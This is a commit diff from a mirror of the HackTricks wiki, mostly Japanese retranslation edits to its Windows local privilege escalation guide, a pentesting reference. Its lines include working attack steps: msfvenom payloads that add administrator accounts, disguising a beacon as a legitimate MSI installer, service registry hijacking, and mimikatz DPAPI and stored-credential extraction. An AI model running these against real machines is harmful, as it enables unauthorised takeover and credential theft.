mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/windows-local-privilege-escalation/RE
This commit is contained in:
parent
373081da93
commit
6499267ecf
@ -32,7 +32,7 @@ integrity-levels.md
|
||||
|
||||
## Windowsセキュリティコントロール
|
||||
|
||||
Windowsには、**システムの列挙を妨げる**、実行可能ファイルを実行することを妨げる、または**あなたの活動を検出する**ことができるさまざまな要素があります。特権昇格の列挙を開始する前に、以下の**ページ**を**読み**、これらの**防御****メカニズム**をすべて**列挙**する必要があります:
|
||||
Windowsには、**システムの列挙を妨げる**、実行可能ファイルを実行することを妨げる、または**あなたの活動を検出する**ことができるさまざまな要素があります。特権昇格の列挙を開始する前に、以下の**ページ**を**読み**、すべての**防御****メカニズム**を**列挙**する必要があります:
|
||||
|
||||
{{#ref}}
|
||||
../authentication-credentials-uac-and-efs/
|
||||
@ -77,9 +77,9 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches
|
||||
- [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits)
|
||||
- [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits)
|
||||
|
||||
### 環境
|
||||
### Environment
|
||||
|
||||
env変数に保存された資格情報/重要な情報はありますか?
|
||||
環境変数に保存された資格情報/重要な情報はありますか?
|
||||
```bash
|
||||
set
|
||||
dir env:
|
||||
@ -97,7 +97,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw
|
||||
```
|
||||
### PowerShell トランスクリプトファイル
|
||||
|
||||
これをオンにする方法は[https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)で学ぶことができます。
|
||||
この機能をオンにする方法は、[https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)で学ぶことができます。
|
||||
```bash
|
||||
#Check is enable in the registry
|
||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
|
||||
@ -114,7 +114,7 @@ Stop-Transcript
|
||||
|
||||
PowerShell パイプラインの実行の詳細が記録され、実行されたコマンド、コマンドの呼び出し、およびスクリプトの一部が含まれます。ただし、完全な実行の詳細と出力結果はキャプチャされない場合があります。
|
||||
|
||||
これを有効にするには、ドキュメントの「トランスクリプトファイル」セクションの指示に従い、**"モジュール ロギング"** を選択して **"Powershell トランスクリプション"** の代わりに選択してください。
|
||||
これを有効にするには、ドキュメントの「トランスクリプトファイル」セクションの指示に従い、**「モジュール ロギング」**を選択して**「PowerShell トランスクリプション」**の代わりに選択してください。
|
||||
```bash
|
||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
||||
@ -154,22 +154,35 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
|
||||
|
||||
システムは、更新がhttpではなくhttp**S**を使用してリクエストされていない場合に危険にさらされる可能性があります。
|
||||
|
||||
次のコマンドを実行して、ネットワークが非SSL WSUS更新を使用しているかどうかを確認します:
|
||||
次に、cmdで以下を実行して、ネットワークが非SSL WSUS更新を使用しているかどうかを確認します:
|
||||
```
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
|
||||
```
|
||||
返信が次のような場合:
|
||||
次のPowerShellで:
|
||||
```
|
||||
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
|
||||
```
|
||||
もし次のような返信があった場合:
|
||||
```bash
|
||||
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
|
||||
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
|
||||
```
|
||||
`HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` が `1` に等しい場合。
|
||||
|
||||
```bash
|
||||
WUServer : http://xxxx-updxx.corp.internal.com:8530
|
||||
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
|
||||
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
|
||||
PSChildName : windowsupdate
|
||||
PSDrive : HKLM
|
||||
PSProvider : Microsoft.PowerShell.Core\Registry
|
||||
```
|
||||
`HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` または `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` が `1` に等しい場合。
|
||||
|
||||
その場合、**悪用可能です。** 最後のレジストリが 0 に等しい場合、WSUS エントリは無視されます。
|
||||
|
||||
この脆弱性を悪用するには、次のようなツールを使用できます: [Wsuxploit](https://github.com/pimps/wsuxploit)、[pyWSUS ](https://github.com/GoSecure/pywsus) - これらは、非 SSL WSUS トラフィックに「偽」の更新を注入するための MiTM 武器化されたエクスプロイトスクリプトです。
|
||||
|
||||
ここで研究を読む:
|
||||
研究をこちらでお読みください:
|
||||
|
||||
{{#file}}
|
||||
CTX_WSUSpect_White_Paper (1).pdf
|
||||
@ -177,12 +190,12 @@ CTX_WSUSpect_White_Paper (1).pdf
|
||||
|
||||
**WSUS CVE-2020-1013**
|
||||
|
||||
[**完全なレポートをこちらで読む**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/)。\
|
||||
[**完全なレポートをこちらでお読みください**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/)。\
|
||||
基本的に、これはこのバグが悪用する欠陥です:
|
||||
|
||||
> ローカルユーザープロキシを変更する権限があり、Windows Update が Internet Explorer の設定で構成されたプロキシを使用する場合、私たちは [PyWSUS](https://github.com/GoSecure/pywsus) をローカルで実行して自分のトラフィックを傍受し、資産上で昇格されたユーザーとしてコードを実行する権限を持つことになります。
|
||||
>
|
||||
> さらに、WSUS サービスは現在のユーザーの設定を使用するため、その証明書ストアも使用します。WSUS ホスト名の自己署名証明書を生成し、この証明書を現在のユーザーの証明書ストアに追加すれば、HTTP および HTTPS WSUS トラフィックの両方を傍受できるようになります。WSUS は、証明書に対して信頼の初回使用タイプの検証を実装するための HSTS のようなメカニズムを使用していません。提示された証明書がユーザーによって信頼され、正しいホスト名を持っている場合、サービスによって受け入れられます。
|
||||
> さらに、WSUS サービスは現在のユーザーの設定を使用するため、その証明書ストアも使用します。WSUS ホスト名の自己署名証明書を生成し、この証明書を現在のユーザーの証明書ストアに追加すれば、HTTP および HTTPS WSUS トラフィックの両方を傍受できるようになります。WSUS は、証明書に対して信頼性のある初回使用型の検証を実装するための HSTS のようなメカニズムを使用していません。提示された証明書がユーザーによって信頼され、正しいホスト名を持っている場合、サービスによって受け入れられます。
|
||||
|
||||
この脆弱性を利用するには、ツール [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) を使用できます(解放された場合)。
|
||||
|
||||
@ -190,9 +203,9 @@ CTX_WSUSpect_White_Paper (1).pdf
|
||||
|
||||
**ローカル特権昇格**の脆弱性は、特定の条件下で Windows **ドメイン** 環境に存在します。これらの条件には、**LDAP 署名が強制されていない**環境、ユーザーが **リソースベースの制約付き委任 (RBCD)** を構成する権利を持っていること、およびユーザーがドメイン内でコンピュータを作成する能力が含まれます。これらの**要件**は、**デフォルト設定**を使用して満たされることに注意が必要です。
|
||||
|
||||
**エクスプロイトを見つける**には [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
|
||||
**エクスプロイトを見つけるには** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
|
||||
|
||||
攻撃の流れについての詳細は [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) を確認してください。
|
||||
攻撃の流れについての詳細は、[https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) を確認してください。
|
||||
|
||||
## AlwaysInstallElevated
|
||||
|
||||
@ -210,7 +223,7 @@ msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.ms
|
||||
|
||||
### PowerUP
|
||||
|
||||
`Write-UserAddMSI`コマンドをpower-upから使用して、現在のディレクトリ内にWindows MSIバイナリを作成し、特権を昇格させます。このスクリプトは、ユーザー/グループの追加を促すプリコンパイルされたMSIインストーラーを出力します(そのため、GIUアクセスが必要です)。
|
||||
`Write-UserAddMSI`コマンドをpower-upから使用して、現在のディレクトリ内にWindows MSIバイナリを作成し、特権を昇格させます。このスクリプトは、ユーザー/グループの追加を促すプリコンパイルされたMSIインストーラーを出力します(そのため、GIUアクセスが必要です):
|
||||
```
|
||||
Write-UserAddMSI
|
||||
```
|
||||
@ -234,8 +247,8 @@ create-msi-with-wix.md
|
||||
|
||||
- **Cobalt Strike**または**Metasploit**を使用して、`C:\privesc\beacon.exe`に**新しいWindows EXE TCPペイロード**を生成します。
|
||||
- **Visual Studio**を開き、**新しいプロジェクトを作成**を選択し、検索ボックスに「installer」と入力します。**Setup Wizard**プロジェクトを選択し、**Next**をクリックします。
|
||||
- プロジェクトに**AlwaysPrivesc**という名前を付け、場所に**`C:\privesc`**を使用し、**ソリューションとプロジェクトを同じディレクトリに配置**を選択し、**Create**をクリックします。
|
||||
- **Next**をクリックし続け、ステップ3の4(含めるファイルを選択)に到達します。**Add**をクリックし、先ほど生成したBeaconペイロードを選択します。次に、**Finish**をクリックします。
|
||||
- プロジェクトに**AlwaysPrivesc**という名前を付け、場所に**`C:\privesc`**を使用し、**ソリューションとプロジェクトを同じディレクトリに配置**を選択して、**Create**をクリックします。
|
||||
- **Next**をクリックし続けて、ステップ3の4(含めるファイルを選択)に到達します。**Add**をクリックし、先ほど生成したBeaconペイロードを選択します。次に、**Finish**をクリックします。
|
||||
- **Solution Explorer**で**AlwaysPrivesc**プロジェクトをハイライトし、**Properties**で**TargetPlatform**を**x86**から**x64**に変更します。
|
||||
- **Author**や**Manufacturer**など、インストールされたアプリをより正当なものに見せるために変更できる他のプロパティもあります。
|
||||
- プロジェクトを右クリックし、**View > Custom Actions**を選択します。
|
||||
@ -269,7 +282,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
|
||||
```
|
||||
### LAPS
|
||||
|
||||
**LAPS**は、**ローカル管理者パスワードの管理**のために設計されており、ドメインに参加しているコンピュータ上で各パスワードが**一意でランダム化され、定期的に更新される**ことを保証します。これらのパスワードはActive Directory内に安全に保存され、ACLを通じて十分な権限が付与されたユーザーのみがアクセスでき、承認されている場合にローカル管理者パスワードを表示できます。
|
||||
**LAPS**は、**ローカル管理者パスワードの管理**のために設計されており、ドメインに参加しているコンピュータ上で各パスワードが**一意で、ランダム化され、定期的に更新される**ことを保証します。これらのパスワードはActive Directory内に安全に保存され、ACLを通じて十分な権限が付与されたユーザーのみがアクセスでき、承認されている場合にローカル管理者パスワードを表示できます。
|
||||
|
||||
{{#ref}}
|
||||
../active-directory-methodology/laps.md
|
||||
@ -277,21 +290,21 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
|
||||
|
||||
### WDigest
|
||||
|
||||
アクティブな場合、**平文のパスワードはLSASS**(ローカルセキュリティ権限サブシステムサービス)に保存されます。\
|
||||
アクティブな場合、**平文のパスワードはLSASS**(ローカルセキュリティ認証サブシステムサービス)に保存されます。\
|
||||
[**このページのWDigestに関する詳細情報**](../stealing-credentials/credentials-protections.md#wdigest)。
|
||||
```bash
|
||||
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
|
||||
```
|
||||
### LSA保護
|
||||
|
||||
**Windows 8.1**から、Microsoftはローカルセキュリティ機関(LSA)の強化された保護を導入し、信頼されていないプロセスによる**メモリの読み取り**やコードの注入を**ブロック**することで、システムのセキュリティをさらに強化しました。\
|
||||
**Windows 8.1**以降、Microsoftはローカルセキュリティ機関(LSA)の強化された保護を導入し、**信頼されていないプロセス**による**メモリの読み取り**やコードの注入を**ブロック**することで、システムのセキュリティをさらに強化しました。\
|
||||
[**LSA保護の詳細はこちら**](../stealing-credentials/credentials-protections.md#lsa-protection)。
|
||||
```bash
|
||||
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
|
||||
```
|
||||
### Credentials Guard
|
||||
|
||||
**Credential Guard** は **Windows 10** で導入されました。その目的は、パス・ザ・ハッシュ攻撃のような脅威からデバイスに保存された資格情報を保護することです。| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard)
|
||||
**Credential Guard** は **Windows 10** で導入されました。その目的は、パス・ザ・ハッシュ攻撃のような脅威からデバイスに保存された資格情報を保護することです。| [**Credentials Guardに関する詳細はこちら。**](../stealing-credentials/credentials-protections.md#credential-guard)
|
||||
```bash
|
||||
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
|
||||
```
|
||||
@ -306,7 +319,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
|
||||
|
||||
### ユーザーとグループの列挙
|
||||
|
||||
所属しているグループの中に興味深い権限を持つものがないか確認する必要があります。
|
||||
自分が所属するグループに興味深い権限があるかどうかを確認する必要があります。
|
||||
```bash
|
||||
# CMD
|
||||
net users %username% #Me
|
||||
@ -321,7 +334,7 @@ Get-LocalUser | ft Name,Enabled,LastLogon
|
||||
Get-ChildItem C:\Users -Force | select Name
|
||||
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
|
||||
```
|
||||
### Privileged groups
|
||||
### 特権グループ
|
||||
|
||||
もしあなたが**特権グループに属している場合、特権を昇格させることができるかもしれません**。特権グループについて学び、特権を昇格させるためにそれらを悪用する方法についてはこちらを参照してください:
|
||||
|
||||
@ -329,16 +342,16 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
|
||||
../active-directory-methodology/privileged-groups-and-token-privileges.md
|
||||
{{#endref}}
|
||||
|
||||
### Token manipulation
|
||||
### トークン操作
|
||||
|
||||
**トークンとは何か**についてこのページで**詳しく学んでください**: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens)。\
|
||||
このページで**トークンとは何か**について**もっと学んでください**:[**Windows トークン**](../authentication-credentials-uac-and-efs/index.html#access-tokens)。\
|
||||
次のページをチェックして**興味深いトークンについて学び**、それらを悪用する方法を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
privilege-escalation-abusing-tokens.md
|
||||
{{#endref}}
|
||||
|
||||
### Logged users / Sessions
|
||||
### ログインユーザー / セッション
|
||||
```bash
|
||||
qwinsta
|
||||
klist sessions
|
||||
@ -414,7 +427,7 @@ Get-Service
|
||||
```
|
||||
### パーミッション
|
||||
|
||||
**sc** を使用してサービスの情報を取得できます
|
||||
You can use **sc** to get information of a service
|
||||
```bash
|
||||
sc qc <service_name>
|
||||
```
|
||||
@ -435,7 +448,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
|
||||
|
||||
このエラーが発生している場合(例えばSSDPSRVの場合):
|
||||
|
||||
_システムエラー1058が発生しました。_\
|
||||
_システムエラー 1058 が発生しました。_\
|
||||
_サービスは無効になっているか、関連付けられた有効なデバイスがないため、開始できません。_
|
||||
|
||||
次のようにして有効にできます。
|
||||
@ -474,8 +487,8 @@ net stop [service name] && net start [service name]
|
||||
|
||||
### サービスバイナリの弱い権限
|
||||
|
||||
**サービスによって実行されるバイナリを変更できるかどうか**、または**バイナリが存在するフォルダに対する書き込み権限があるかどうかを確認してください**(**DLL Hijacking**)。\
|
||||
サービスによって実行されるすべてのバイナリを取得するには、**wmic**(system32ではない)を使用し、**icacls**を使用して権限を確認できます:
|
||||
**サービスによって実行されるバイナリを変更できるかどうか**、または**バイナリが存在するフォルダーに対する書き込み権限があるかどうかを確認してください**([**DLL Hijacking**](dll-hijacking/index.html))**。**\
|
||||
**wmic**(system32ではない)を使用してサービスによって実行されるすべてのバイナリを取得し、**icacls**を使用して権限を確認できます:
|
||||
```bash
|
||||
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
|
||||
|
||||
@ -507,7 +520,7 @@ reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t RE
|
||||
```
|
||||
### サービスレジストリ AppendData/AddSubdirectory 権限
|
||||
|
||||
この権限を持っている場合、これは**このレジストリからサブレジストリを作成できることを意味します**。Windows サービスの場合、これは**任意のコードを実行するのに十分です:**
|
||||
この権限を持っている場合、**このレジストリからサブレジストリを作成できる**ことを意味します。Windows サービスの場合、これは**任意のコードを実行するのに十分です:**
|
||||
|
||||
{{#ref}}
|
||||
appenddata-addsubdirectory-permission-over-service-registry.md
|
||||
@ -543,13 +556,13 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s &&
|
||||
```powershell
|
||||
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
|
||||
```
|
||||
**この脆弱性を検出し、悪用することができます** metasploitを使用して: `exploit/windows/local/trusted\_service\_path` 手動でサービスバイナリを作成することができます:
|
||||
**この脆弱性を検出し、悪用することができます** metasploitを使用して: `exploit/windows/local/trusted\_service\_path` metasploitを使用してサービスバイナリを手動で作成できます:
|
||||
```bash
|
||||
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
|
||||
```
|
||||
### Recovery Actions
|
||||
|
||||
Windowsは、サービスが失敗した場合に実行されるアクションを指定することをユーザーに許可します。この機能は、バイナリを指すように構成できます。このバイナリが置き換え可能であれば、特権昇格が可能かもしれません。詳細は[公式ドキュメント](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>)で確認できます。
|
||||
Windowsは、サービスが失敗した場合に実行されるアクションをユーザーが指定できるようにしています。この機能は、バイナリを指すように構成できます。このバイナリが置き換え可能であれば、特権昇格が可能かもしれません。詳細は[公式ドキュメント](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>)で確認できます。
|
||||
|
||||
## Applications
|
||||
|
||||
@ -602,7 +615,7 @@ privilege-escalation-with-autorun-binaries.md
|
||||
|
||||
### ドライバー
|
||||
|
||||
可能な**サードパーティの奇妙な/脆弱な**ドライバーを探してください。
|
||||
可能な**サードパーティの奇妙/脆弱な**ドライバーを探してください。
|
||||
```bash
|
||||
driverquery
|
||||
driverquery.exe /fo table
|
||||
@ -616,7 +629,7 @@ PATH内のすべてのフォルダーの権限を確認してください:
|
||||
```bash
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||||
```
|
||||
このチェックを悪用する方法の詳細については、次を参照してください:
|
||||
このチェックを悪用する方法についての詳細は次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
|
||||
@ -634,7 +647,7 @@ net share #Check current shares
|
||||
```
|
||||
### hosts file
|
||||
|
||||
hostsファイルにハードコーディングされた他の既知のコンピュータを確認します。
|
||||
ホストファイルにハードコーディングされた他の既知のコンピュータを確認します。
|
||||
```
|
||||
type C:\Windows\System32\drivers\etc\hosts
|
||||
```
|
||||
@ -673,7 +686,7 @@ C:\Windows\System32\wsl.exe
|
||||
```
|
||||
バイナリ `bash.exe` は `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` にも見つけることができます。
|
||||
|
||||
ルートユーザーを取得すると、任意のポートでリッスンできます(`nc.exe` を使用してポートでリッスンする最初の時に、GUIを通じて `nc` がファイアウォールによって許可されるべきかどうか尋ねられます)。
|
||||
ルートユーザーを取得すると、任意のポートでリスニングできます(`nc.exe` を使用してポートでリスニングする最初の時に、GUIを通じて `nc` がファイアウォールによって許可されるべきかどうか尋ねられます)。
|
||||
```bash
|
||||
wsl whoami
|
||||
./ubuntun1604.exe config --default-user root
|
||||
@ -701,9 +714,9 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
|
||||
### Credentials manager / Windows vault
|
||||
|
||||
From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
|
||||
Windows Vaultは、**Windows**が**ユーザーを自動的にログイン**させるためのサーバー、ウェブサイト、その他のプログラムのユーザー資格情報を保存します。一見すると、ユーザーがFacebookの資格情報、Twitterの資格情報、Gmailの資格情報などを保存できるようになり、ブラウザを通じて自動的にログインできるように見えるかもしれません。しかし、そうではありません。
|
||||
Windows Vaultは、**Windows**が**ユーザーを自動的にログイン**させるためのサーバー、ウェブサイト、その他のプログラムのユーザー資格情報を保存します。一見すると、ユーザーがFacebookの資格情報、Twitterの資格情報、Gmailの資格情報などを保存し、ブラウザを通じて自動的にログインできるように見えるかもしれません。しかし、そうではありません。
|
||||
|
||||
Windows Vaultは、Windowsがユーザーを自動的にログインさせることができる資格情報を保存します。つまり、リソース(サーバーまたはウェブサイト)にアクセスするために資格情報が必要な**Windowsアプリケーションは、このCredential Manager** & Windows Vaultを利用し、ユーザーが常にユーザー名とパスワードを入力する代わりに提供された資格情報を使用できます。
|
||||
Windows Vaultは、Windowsがユーザーを自動的にログインさせることができる資格情報を保存します。つまり、**リソース**(サーバーまたはウェブサイト)にアクセスするために資格情報が必要な**Windowsアプリケーションは、このCredential Manager** & Windows Vaultを利用し、ユーザーが常にユーザー名とパスワードを入力する代わりに提供された資格情報を使用できます。
|
||||
|
||||
アプリケーションがCredential Managerと相互作用しない限り、特定のリソースの資格情報を使用することは不可能だと思います。したがって、アプリケーションがボールトを利用したい場合は、何らかの方法で**資格情報マネージャーと通信し、そのリソースの資格情報をデフォルトのストレージボールトから要求する必要があります**。
|
||||
|
||||
@ -731,7 +744,7 @@ C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\us
|
||||
|
||||
**DPAPIは、ユーザーのログイン秘密から導出された対称鍵を通じて鍵の暗号化を可能にします**。システム暗号化が関与するシナリオでは、システムのドメイン認証秘密を利用します。
|
||||
|
||||
DPAPIを使用して暗号化されたユーザーRSA鍵は、`%APPDATA%\Microsoft\Protect\{SID}`ディレクトリに保存され、ここで`{SID}`はユーザーの[セキュリティ識別子](https://en.wikipedia.org/wiki/Security_Identifier)を表します。**DPAPIキーは、ユーザーの秘密鍵を保護するマスターキーと同じファイルに共存しており**、通常は64バイトのランダムデータで構成されています。(このディレクトリへのアクセスは制限されており、CMDの`dir`コマンドでその内容をリストすることはできませんが、PowerShellを通じてリストすることは可能です)。
|
||||
DPAPIを使用して暗号化されたユーザーRSA鍵は、`%APPDATA%\Microsoft\Protect\{SID}`ディレクトリに保存され、ここで`{SID}`はユーザーの[セキュリティ識別子](https://en.wikipedia.org/wiki/Security_Identifier)を表します。**DPAPI鍵は、ユーザーの秘密鍵を同じファイル内で保護するマスター鍵と共に配置されており**、通常は64バイトのランダムデータで構成されています。(このディレクトリへのアクセスは制限されており、CMDの`dir`コマンドでその内容をリストすることはできませんが、PowerShellを通じてリストすることは可能です)。
|
||||
```powershell
|
||||
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
|
||||
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
|
||||
@ -745,8 +758,8 @@ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||||
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||||
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||||
```
|
||||
あなたは、適切な `/masterkey` を使用して **mimikatz module** `dpapi::cred` を使って復号化することができます。\
|
||||
あなたは、`sekurlsa::dpapi` モジュールを使用して **メモリ** から **多くの DPAPI** **マスタキー** を抽出することができます(あなたが root の場合)。
|
||||
あなたは、適切な `/masterkey` を使用して **mimikatz module** `dpapi::cred` を使って復号化できます。\
|
||||
あなたは、`sekurlsa::dpapi` モジュールを使用して **メモリ** から **多くの DPAPI** **masterkeys** を **抽出** することができます(あなたが root の場合)。
|
||||
|
||||
{{#ref}}
|
||||
dpapi-extracting-passwords.md
|
||||
@ -754,9 +767,9 @@ dpapi-extracting-passwords.md
|
||||
|
||||
### PowerShell 認証情報
|
||||
|
||||
**PowerShell 認証情報** は、スクリプト作成や自動化タスクのために、便利に暗号化された認証情報を保存する方法としてよく使用されます。認証情報は **DPAPI** を使用して保護されており、通常、作成された同じコンピュータ上の同じユーザーによってのみ復号化できます。
|
||||
**PowerShell 認証情報** は、暗号化された認証情報を便利に保存する方法として、**スクリプティング** と自動化タスクでよく使用されます。認証情報は **DPAPI** を使用して保護されており、通常、作成された同じコンピュータ上の同じユーザーによってのみ復号化できます。
|
||||
|
||||
ファイルから PS 認証情報を復号化するには、次のようにします:
|
||||
ファイルから PS 認証情報を **復号化** するには、次のようにします:
|
||||
```powershell
|
||||
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
|
||||
PS C:\> $credential.GetNetworkCredential().username
|
||||
@ -790,20 +803,20 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
|
||||
```
|
||||
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
|
||||
```
|
||||
**Mimikatz** `dpapi::rdg` モジュールを適切な `/masterkey` と共に使用して **任意の .rdg ファイルを復号化**します。\
|
||||
メモリから多くの DPAPI マスタキーを **Mimikatz** `sekurlsa::dpapi` モジュールで **抽出**できます。
|
||||
Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files**\
|
||||
You can **extract many DPAPI masterkeys** from memory with the Mimikatz `sekurlsa::dpapi` module
|
||||
|
||||
### Sticky Notes
|
||||
|
||||
人々はしばしば Windows ワークステーションの StickyNotes アプリを使用して **パスワード**やその他の情報を保存しますが、それがデータベースファイルであることに気づいていません。このファイルは `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` にあり、常に検索して調査する価値があります。
|
||||
人々はしばしばWindowsワークステーションでStickyNotesアプリを使用して**パスワード**やその他の情報を保存しますが、それがデータベースファイルであることに気づいていません。このファイルは`C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`にあり、常に検索して調べる価値があります。
|
||||
|
||||
### AppCmd.exe
|
||||
|
||||
**AppCmd.exe からパスワードを回復するには、管理者であり、高い整合性レベルで実行する必要があります。**\
|
||||
**AppCmd.exe** は `%systemroot%\system32\inetsrv\` ディレクトリにあります。\
|
||||
このファイルが存在する場合、いくつかの **資格情報** が構成されており、**回復**できる可能性があります。
|
||||
**AppCmd.exeからパスワードを回復するには、管理者であり、高い整合性レベルで実行する必要があります。**\
|
||||
**AppCmd.exe**は`%systemroot%\system32\inetsrv\`ディレクトリにあります。\
|
||||
このファイルが存在する場合、いくつかの**資格情報**が構成されており、**回復**できる可能性があります。
|
||||
|
||||
このコードは [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) から抽出されました。
|
||||
This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1):
|
||||
```bash
|
||||
function Get-ApplicationHost {
|
||||
$OrigError = $ErrorActionPreference
|
||||
@ -884,7 +897,7 @@ $ErrorActionPreference = $OrigError
|
||||
### SCClient / SCCM
|
||||
|
||||
`C:\Windows\CCM\SCClient.exe` が存在するか確認します。\
|
||||
インストーラーは **SYSTEM 権限で実行され**、多くは **DLL サイドローディングに脆弱です (情報は** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**)。**
|
||||
インストーラーは **SYSTEM 権限で実行され**、多くは **DLL サイドローディングに脆弱です (情報元: ** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**)。**
|
||||
```bash
|
||||
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
|
||||
if ($result) { $result }
|
||||
@ -902,12 +915,12 @@ reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
|
||||
```
|
||||
### SSHキーのレジストリ内
|
||||
|
||||
SSHプライベートキーはレジストリキー`HKCU\Software\OpenSSH\Agent\Keys`内に保存されることがあるため、そこに興味深いものがないか確認する必要があります:
|
||||
SSHプライベートキーはレジストリキー `HKCU\Software\OpenSSH\Agent\Keys` に保存されることがあるため、そこに興味深いものがないか確認する必要があります:
|
||||
```bash
|
||||
